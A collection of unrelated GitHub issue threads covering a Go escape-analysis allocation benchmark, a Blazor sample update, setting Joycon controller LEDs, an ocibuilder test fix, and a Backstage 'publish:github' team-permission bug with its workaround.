BenchmarkT-8<PHONE_NUMBER>	         0.34 ns/op	       0 B/op	       0 allocs/op
BenchmarkT2-8     50000000	        27.0 ns/op	       8 B/op	       1 allocs/op
What did you see instead?
为什么BenchmarkT2-8 需要分配一次内存？
猜测是正常的函数调用做了优化，所以不需要分配内存。
但是为什么var fff = ccc  就想要分配内存了

Why does BenchmarkT2-8 need to allocate memory once?
Guess that the normal function call is optimized so there is no need to allocate memory.
But why is var fff = ccc want to allocate memory

If the problem is the allocation, it looks like it's fixed on tip.
go1.8:
BenchmarkT-4<PHONE_NUMBER>	         0.39 ns/op	       0 B/op	       0 allocs/op
BenchmarkT2-4   	50000000	        27.5 ns/op	       8 B/op	       1 allocs/op

tip:
BenchmarkT-4<PHONE_NUMBER>	         0.33 ns/op	       0 B/op	       0 allocs/op
BenchmarkT2-4<PHONE_NUMBER>	         2.63 ns/op	       0 B/op	       0 allocs/op

Yes, the translation looks like it's about the allocation.

@ALTree  the issues still exist on go1.8.1 and master .wath is tip version?

@niubaoshu "tip" means "master". Same thing but different word.

I benchmarked on master and the allocation is gone. Are you seeing something different?

`package main
import "testing"
func BenchmarkF1(b *testing.B) {
for i := 0; i < b.N; i++ {
f1(i)
}
}
func BenchmarkC1(b *testing.B) {
for i := 0; i < b.N; i++ {
c1(i)
}
}
func BenchmarkF2(b *testing.B) {
for i := 0; i < b.N; i++ {
f2(i)
}
}
func BenchmarkC2(b *testing.B) {
for i := 0; i < b.N; i++ {
c2(i)
}
}
func BenchmarkF3(b *testing.B) {
for i := 0; i < b.N; i++ {
f3(i)
}
}
func BenchmarkC3(b *testing.B) {
for i := 0; i < b.N; i++ {
c3(i)
}
}
var c1 = f1
var c2 = f2
var c3 = f3
func f1(a ...interface{}) {}
func f2(a int)            {}
func f3(a ...int)         {}  go test -bench=.* -benchmem malloc_test.go`
on go1.8.1
output
BenchmarkF1-4           500000000                3.13 ns/op            0 B/op          0 allocs/op BenchmarkC1-4           20000000                64.2 ns/op            24 B/op          2 allocs/op BenchmarkF2-4<PHONE_NUMBER>               0.31 ns/op            0 B/op          0 allocs/op BenchmarkC2-4<PHONE_NUMBER>               2.51 ns/op            0 B/op          0 allocs/op BenchmarkF3-4<PHONE_NUMBER>               2.51 ns/op            0 B/op          0 allocs/op BenchmarkC3-4           100000000               22.0 ns/op             8 B/op          1 allocs/op PASS ok      command-line-arguments  11.701s

`
package main
import "testing"
func BenchmarkF1(b *testing.B) {
for i := 0; i < b.N; i++ {
f1(i)
}
}
func BenchmarkC1(b *testing.B) {
for i := 0; i < b.N; i++ {
c1(i)
}
}
func BenchmarkF2(b *testing.B) {
for i := 0; i < b.N; i++ {
f2(i)
}
}
func BenchmarkC2(b *testing.B) {
for i := 0; i < b.N; i++ {
c2(i)
}
}
func BenchmarkF3(b *testing.B) {
for i := 0; i < b.N; i++ {
f3(i)
}
}
func BenchmarkC3(b *testing.B) {
for i := 0; i < b.N; i++ {
c3(i)
}
}
var c1 = f1
var c2 = f2
var c3 = f3
func f1(a ...interface{}) {}
func f2(a int) {}
func f3(a ...int) {}
  go test -bench=.* -benchmem malloc_test.go`
on go1.8.1
output
BenchmarkF1-4           500000000                3.13 ns/op            0 B/op          0 allocs/op BenchmarkC1-4           20000000                64.2 ns/op            24 B/op          2 allocs/op BenchmarkF2-4<PHONE_NUMBER>               0.31 ns/op            0 B/op          0 allocs/op BenchmarkC2-4<PHONE_NUMBER>               2.51 ns/op            0 B/op          0 allocs/op BenchmarkF3-4<PHONE_NUMBER>               2.51 ns/op            0 B/op          0 allocs/op BenchmarkC3-4           100000000               22.0 ns/op             8 B/op          1 allocs/op PASS ok      command-line-arguments  11.701s

package main
import "testing"
func BenchmarkF1(b *testing.B) {
for i := 0; i < b.N; i++ {
f1(i)
}
}
func BenchmarkC1(b *testing.B) {
for i := 0; i < b.N; i++ {
c1(i)
}
}
func BenchmarkF2(b *testing.B) {
for i := 0; i < b.N; i++ {
f2(i)
}
}
func BenchmarkC2(b *testing.B) {
for i := 0; i < b.N; i++ {
c2(i)
}
}
func BenchmarkF3(b *testing.B) {
for i := 0; i < b.N; i++ {
f3(i)
}
}
func BenchmarkC3(b *testing.B) {
for i := 0; i < b.N; i++ {
c3(i)
}
}
var c1 = f1
var c2 = f2
var c3 = f3
func f1(a ...interface{}) {}
func f2(a int)            {}
func f3(a ...int)         {}
go test -bench=.* -benchmem malloc_test.go
on go1.8.1 version
output:
BenchmarkF1-4           500000000                3.13 ns/op            0 B/op          0 allocs/op
BenchmarkC1-4           20000000                64.2 ns/op            24 B/op          2 allocs/op
BenchmarkF2-4<PHONE_NUMBER>               0.31 ns/op            0 B/op          0 allocs/op
BenchmarkC2-4<PHONE_NUMBER>               2.51 ns/op            0 B/op          0 allocs/op
BenchmarkF3-4<PHONE_NUMBER>               2.51 ns/op            0 B/op          0 allocs/op
BenchmarkC3-4           100000000               22.0 ns/op             8 B/op          1 allocs/op
PASS
ok      command-line-arguments  11.701s

Looks like it may be an escape analysis limitation? Take the first two:
func BenchmarkF1(b *testing.B) {
	for i := 0; i < b.N; i++ {
		f1(i)
	}
}

func BenchmarkC1(b *testing.B) {
	for i := 0; i < b.N; i++ {
		c1(i)
	}
}

var c1 = f1
func f1(a ...interface{}) {}

-m -m says that i in the f1(i) does not escape:
BenchmarkF1 i does not escape

but in c1(i) it does:
i escapes to heap
	from c1(i) (parameter to indirect call) at ./prova_test.go:13:5

same for f2(i) and c2(i). This is where it happens:
https://github.com/golang/go/blob/fc08a19cef1b54cf6aad2fc1f8a298458d2e8d95/src/cmd/compile/internal/gc/esc.go#L1495
Not sure this is expected or not, or if we want to open an issue about a possible optimization. Maybe cc @dr2chase knows.

@ALTree OK,  thank you!

The global variable causes the pessimism here.  We don't analyze the whole program to find all assignments to global variables, so although f1 is the current value of c1, maybe another function will be assigned to c1 somewhere else.  So we must assume the interface{} and [1]interface{} escape.
Because c1 isn't exported, we could actually do better here. This is another example of devirtualizing calls, similar to #19361.


Please, Update Blazor FlightFinder to 0.5.0

Thanks

@stevesandersonms I believe you already have a PR  out for this. It just needs to be updated to 0.5.1.

@danroth27  It is already update to 0.5.1 in ASP.NET samples repository.

Good point - thanks @kant2002!

@SteveSandersonMS I just looking for simple tasks which I could solve.


Setting the LEDs

Probably not a top priority or anything, but I'd find it nice if this Program set the LEDs of the Joycons once connected, instead of letting them continue cycling them.

Yes, this is a low priority to-do item. Pull requests are welcome if anyone already knows how to do this.

Yes this could be great, is quite anoying to see the leds cycling, you may take a look to this https://github.com/mfosse/JoyCon-Driver that thing is a similar thing to this and is capable of stopping the cycling and set the leds to one position.

Yes, I've looked extensively through that code, though I don't quite understand the initialization sequence, but anyone is free to submit a pull request ;)

printf("setting LEDs...\n"); 	for (int r = 0; r < 5; ++r) { 		for (int i = 0; i < joycons.size(); ++i) { 			Joycon *jc = &joycons[i]; 			// Player LED Enable 			memset(buf, 0x00, 0x40); 			if (i == 0) { 				buf[0] = 0x0 | 0x0 | 0x0 | 0x1;		// solid 1 			} 			if (i == 1) { 				if (settings.combineJoyCons) { 					buf[0] = 0x0 | 0x0 | 0x0 | 0x1; // solid 1 				} else if (!settings.combineJoyCons) { 					buf[0] = 0x0 | 0x0 | 0x2 | 0x0; // solid 2 				} 			} 			//buf[0] = 0x80 | 0x40 | 0x2 | 0x1; // Flash top two, solid bottom two 			//buf[0] = 0x8 | 0x4 | 0x2 | 0x1; // All solid 			//buf[0] = 0x80 | 0x40 | 0x20 | 0x10; // All flashing 			//buf[0] = 0x80 | 0x00 | 0x20 | 0x10; // All flashing except 3rd light (off) 			jc->send_subcommand(0x01, 0x30, buf, 1); 		}
This appears to be the code associated with it, it should be simple to set the lights based off of this code, just use the mem codes and send them to the controllers

printf("setting LEDs...\n"); for (int r = 0; r < 5; ++r) { for (int i = 0; i < joycons.size(); ++i) { Joycon *jc = &joycons[i]; // Player LED Enable memset(buf, 0x00, 0x40); if (i == 0) { buf[0] = 0x0 | 0x0 | 0x0 | 0x1;	// solid 1 } if (i == 1) { if (settings.combineJoyCons) { buf[0] = 0x0 | 0x0 | 0x0 | 0x1; // solid 1 } else if (!settings.combineJoyCons) { buf[0] = 0x0 | 0x0 | 0x2 | 0x0; // solid 2 } } //buf[0] = 0x80 | 0x40 | 0x2 | 0x1; // Flash top two, solid bottom two //buf[0] = 0x8 | 0x4 | 0x2 | 0x1; // All solid //buf[0] = 0x80 | 0x40 | 0x20 | 0x10; // All flashing //buf[0] = 0x80 | 0x00 | 0x20 | 0x10; // All flashing except 3rd light (off) jc->send_subcommand(0x01, 0x30, buf, 1); }
This appears to be the code associated with it, it should be simple to set the lights based off of this code, just use the mem codes and send them to the controllers

make a pull request?

yes, I plan to include that in the next release -- was hoping TOML support would also be done in time, but if another week goes by I'll just cut a release now

here is prettified format of above code FYI:
printf("setting LEDs...\n");
for (int r = 0; r < 5;
  ++r) {
  for (int i = 0; i < joycons.size();
    ++i) {
    Joycon * jc = & joycons[i];
    // Player LED Enable memset(buf, 0x00, 0x40);
    if (i == 0) {
      buf[0] = 0x0 | 0x0 | 0x0 | 0x1;
      // solid 1 } if (i == 1) { if (settings.combineJoyCons) { buf[0] = 0x0 | 0x0 | 0x0 | 0x1;
      // solid 1 } else if (!settings.combineJoyCons) { buf[0] = 0x0 | 0x0 | 0x2 | 0x0;
      // solid 2 } } //buf[0] = 0x80 | 0x40 | 0x2 | 0x1;
      // Flash top two, solid bottom two //buf[0] = 0x8 | 0x4 | 0x2 | 0x1;
      // All solid //buf[0] = 0x80 | 0x40 | 0x20 | 0x10;
      // All flashing //buf[0] = 0x80 | 0x00 | 0x20 | 0x10;
      // All flashing except 3rd light (off) jc->send_subcommand(0x01, 0x30, buf, 1);
    }


WIP: bugfix(): fixing in.Body.DeepCopyReadCloser undefined

This PR fixes https://github.com/ocibuilder/ocibuilder/issues/16

I don't think this PR is required.

I don't think this PR is required.

@VaibhavPage - make test fails at present because of this. We were not using types.ImageBuildResponse from types.go file so needed to remove that.

Now it is failing because of the following error:
github.com/ocibuilder/ocibuilder/pkg/client/ocibuilder/clientset/versioned/typed/ocibuilder/v1alpha1
pkg/client/ocibuilder/clientset/versioned/typed/ocibuilder/v1alpha1/ocibuilder_client.go:72:45: scheme.Codecs.WithoutConversion undefined (type serializer.CodecFactory has no field or method WithoutConversion)

We shouldn't have ImageBuildResponse in types.go

All tests have been fixed in the #1

We shouldn't have ImageBuildResponse in types.go. The master branch has the updated code.

haha! @VaibhavPage - looks like you merged that change into master already. Cool!

Marking it stale!


Add Deno

Current dependencies on/for this PR:

main

PR #17   👈

This stack of pull requests is managed by Graphite.


🐛 Bug Report: Skipping admin access when using "publish:github" action

📜 Description
I am using "publish:github" action in Software Template.
While running I am getting below warning
warn: Skipping admin access for group:default/abc, Not Found
The action is looking for GitHub team  'group:default/abc' instead of team 'abc'
The owner name is getting appended with group:default/ by it's own
My template file have below code as 'publish:github'
    - id: publish
      name: Publish
      action: publish:github
      input:
        allowedHosts: ["github.com"]
        defaultBranch: main
        protectDefaultBranch: false
        description: This is ${{ parameters.component_id }}
        repoUrl: ${{ parameters.repoUrl }}
        repoVisibility: internal
        collaborators:
          - access: admin
            team: ${{ parameters.owner }}
        gitAuthorName: ${{ user.entity.metadata.name }}
        gitAuthorEmail: ${{ user.entity.spec.profile.email }}

👍 Expected behavior
'publish:github'  should be able to set permission for respective team in GitHub
👎 Actual Behavior with Screenshots

👟 Reproduction steps

Use 'publish:github' in your template.yaml file
Add below code in the action

       collaborators:
          - access: admin
            team: ${{ parameters.owner }}

Run the action.

📃 Provide the context for the Bug.
Users are not getting permission to the repository which is getting created from Backstage Software Template.
We have to give them permissions manually which should not be the case.
🖥 Your Environment
node: v16.15.0
yarn: 1.22.19
cli:  0.22.5 (installed)
backstage:  1.12.1
Dependencies:
  @backstage/app-defaults                          1.2.1
  @backstage/backend-app-api                       0.4.1
  @backstage/backend-common                        0.18.3
  @backstage/backend-dev-utils                     0.1.1
  @backstage/backend-plugin-api                    0.5.0
  @backstage/backend-tasks                         0.5.0
  @backstage/catalog-client                        1.4.0
  @backstage/catalog-model                         1.2.1
  @backstage/cli-common                            0.1.12
  @backstage/cli                                   0.22.5
  @backstage/config-loader                         1.1.9
  @backstage/config                                1.0.7
  @backstage/core-app-api                          1.6.0
  @backstage/core-components                       0.12.5
  @backstage/core-plugin-api                       1.5.0
  @backstage/dev-utils                             1.0.13
  @backstage/errors                                1.1.5
  @backstage/eslint-plugin                         0.1.2
  @backstage/integration-aws-node                  0.1.2
  @backstage/integration-react                     1.1.11
  @backstage/integration                           1.4.3
  @backstage/plugin-api-docs                       0.9.1
  @backstage/plugin-app-backend                    0.3.43
  @backstage/plugin-auth-backend                   0.18.1
  @backstage/plugin-auth-node                      0.2.12
  @backstage/plugin-catalog-backend-module-github  0.2.6
  @backstage/plugin-catalog-backend                1.8.0
  @backstage/plugin-catalog-common                 1.0.12
  @backstage/plugin-catalog-graph                  0.2.28
  @backstage/plugin-catalog-import                 0.9.6
  @backstage/plugin-catalog-node                   1.3.4
  @backstage/plugin-catalog-react                  1.4.0
  @backstage/plugin-catalog                        1.9.0
  @backstage/plugin-events-node                    0.2.4
  @backstage/plugin-github-actions                 0.5.16
  @backstage/plugin-home                           0.4.32
  @backstage/plugin-org                            0.6.6
  @backstage/plugin-permission-common              0.7.4
  @backstage/plugin-permission-node                0.7.6
  @backstage/plugin-permission-react               0.4.11
  @backstage/plugin-proxy-backend                  0.2.37
  @backstage/plugin-scaffolder-backend             1.12.0
  @backstage/plugin-scaffolder-common              1.2.6
  @backstage/plugin-scaffolder-node                0.1.1
  @backstage/plugin-scaffolder-react               1.2.0
  @backstage/plugin-scaffolder                     1.12.0
  @backstage/plugin-search-backend-module-pg       0.5.4
  @backstage/plugin-search-backend-node            1.1.4
  @backstage/plugin-search-backend                 1.2.4
  @backstage/plugin-search-common                  1.2.2
  @backstage/plugin-search-react                   1.5.1
  @backstage/plugin-search                         1.1.1
  @backstage/plugin-sentry                         0.5.1
  @backstage/plugin-stack-overflow-backend         0.1.12
  @backstage/plugin-stack-overflow                 0.1.12
  @backstage/plugin-tech-radar                     0.6.2
  @backstage/plugin-techdocs-backend               1.6.0
  @backstage/plugin-techdocs-module-addons-contrib 1.0.11
  @backstage/plugin-techdocs-node                  1.6.0
  @backstage/plugin-techdocs-react                 1.1.4
  @backstage/plugin-techdocs                       1.6.0
  @backstage/plugin-user-settings                  0.7.1
  @backstage/release-manifests                     0.0.9
  @backstage/test-utils                            1.2.6
  @backstage/theme                                 0.2.18
  @backstage/types                                 1.0.2
  @backstage/version-bridge                        1.0.3

👀 Have you spent some time to check if this bug has been raised before?

[X] I checked and didn't find similar issue

🏢 Have you read the Code of Conduct?

[X] I have read the Code of Conduct

Are you willing to submit PR?
No, I don't have time to work on this right now

Hi @grvpandey11, sorry that you ran into this issue. There was a change to always return an entityRef (kind:namespace/name) in the last release. More details can be found in this issue: https://github.com/backstage/backstage/issues/16301 or the related PR: https://github.com/backstage/backstage/pull/16577
There is a feature to make it easier to work with entityRefs but it has not been released outside of the nightly and weekly releases - expected monthly release date is April 18th. More details on this can be found here: https://github.com/backstage/backstage/issues/17053 and the PR is here: https://github.com/backstage/backstage/pull/17091

Hi @awanlin,
I met the same issue.
but when I bump the backstage to the next release the software templates stop working
--- a/backstage.json
+++ b/backstage.json
@@ -1,3 +1,3 @@
 {
-  "version": "1.12.1"
+  "version": "1.13.0"
 }

[1](http://localhost:7007/create/tasks/7ab68f7f-8b1b-4734-8990-41c90c9db842#line-1)2023-04-19T11:46:22.938Z Beginning step Base Skeleton[2](http://localhost:7007/create/tasks/7ab68f7f-8b1b-4734-8990-41c90c9db842#line-2)2023-04-19T11:46:22.965Z info: Fetching template content from remote URL[3](http://localhost:7007/create/tasks/7ab68f7f-8b1b-4734-8990-41c90c9db842#line-3)2023-04-19T11:46:23.207Z NotFoundError: Request failed for [https://api.github.com/repos/COMPANY/software-templates/commits/add-fast-api-software-template/status?per_page=0, Opens in a new window](https://api.github.com/repos/COMPANY/software-templates/commits/add-fast-api-software-template/status?per_page=0), [4](http://localhost:7007/create/tasks/7ab68f7f-8b1b-4734-8990-41c90c9db842#line-4)04 Not Found4    at _GithubUrlReader.fetchResponse (/Users/artem/git/backstage/node_modules/@backstage/backend-common/dist/index.cjs.js:2379:15)[5](http://localhost:7007/create/tasks/7ab68f7f-8b1b-4734-8990-41c90c9db842#line-5)    at runMicrotasks (<anonymous>)[6](http://localhost:7007/create/tasks/7ab68f7f-8b1b-4734-8990-41c90c9db842#line-6)    at processTicksAndRejections (node:internal/process/task_queues:96:5)[7](http://localhost:7007/create/tasks/7ab68f7f-8b1b-4734-8990-41c90c9db842#line-7)    at async _GithubUrlReader.fetchJson (/Users/artem/git/backstage/node_modules/@backstage/backend-common/dist/index.cjs.js:2386:22)[8](http://localhost:7007/create/tasks/7ab68f7f-8b1b-4734-8990-41c90c9db842#line-8)    at async _GithubUrlReader.getRepoDetails (/Users/artem/git/backstage/node_modules/@backstage/backend-common/dist/index.cjs.js:2357:26)[9](http://localhost:7007/create/tasks/7ab68f7f-8b1b-4734-8990-41c90c9db842#line-9)    at async _GithubUrlReader.readTree (/Users/artem/git/backstage/node_modules/@backstage/backend-common/dist/index.cjs.js:2255:25)[10](http://localhost:7007/create/tasks/7ab68f7f-8b1b-4734-8990-41c90c9db842#line-10)    at async UrlReaderPredicateMux.readTree (/Users/artem/git/backstage/node_modules/@backstage/backend-common/dist/index.cjs.js:3130:16)[11](http://localhost:7007/create/tasks/7ab68f7f-8b1b-4734-8990-41c90c9db842#line-11)    at async fetchContents (/Users/artem/git/backstage/node_modules/@backstage/plugin-scaffolder-backend/dist/cjs/ScaffolderEntitiesProcessor-2f24bb9e.cjs.js:565:17)[12](http://localhost:7007/create/tasks/7ab68f7f-8b1b-4734-8990-41c90c9db842#line-12)    at async Object.handler (/Users/artem/git/backstage/node_modules/@backstage/plugin-scaffolder-backend/dist/cjs/ScaffolderEntitiesProcessor-2f24bb9e.cjs.js:1006:7)[13](http://localhost:7007/create/tasks/7ab68f7f-8b1b-4734-8990-41c90c9db842#line-13)    at async NunjucksWorkflowRunner.executeStep (/Users/artem/git/backstage/node_modules/@backstage/plugin-scaffolder-backend/dist/cjs/ScaffolderEntitiesProcessor-2f24bb9e.cjs.js:5187:7)

@grvpandey11
here is a workaround for "1.12"
        collaborators:
          - access: admin
            team: ${{ parameters.owner | replace("group:default/", "") }}

@ArtemChekunov Yes, I am using the same as workaround for now.

@ArtemChekunov I had the same error after upgrading to 1.13.0. To be clear it doesn't break everything but if you just use GitHub it would seem that way; most of our software templates still worked.
So for us we use a GitHub App and the fix was to give it read access to Commit statuses:

@awanlin
unfortunately, it didn't help

OK, not sure what to say but that 100% fixes the issue if you are using a GitHub app, did you make sure it was also approved?

ah, sorry, my bad
last time I forget to pick up a second config
the solutions is working

No worries @ArtemChekunov, glad it is working for you 🚀

Closing the issue since solution is available in latest release
Thanks @awanlin for helping.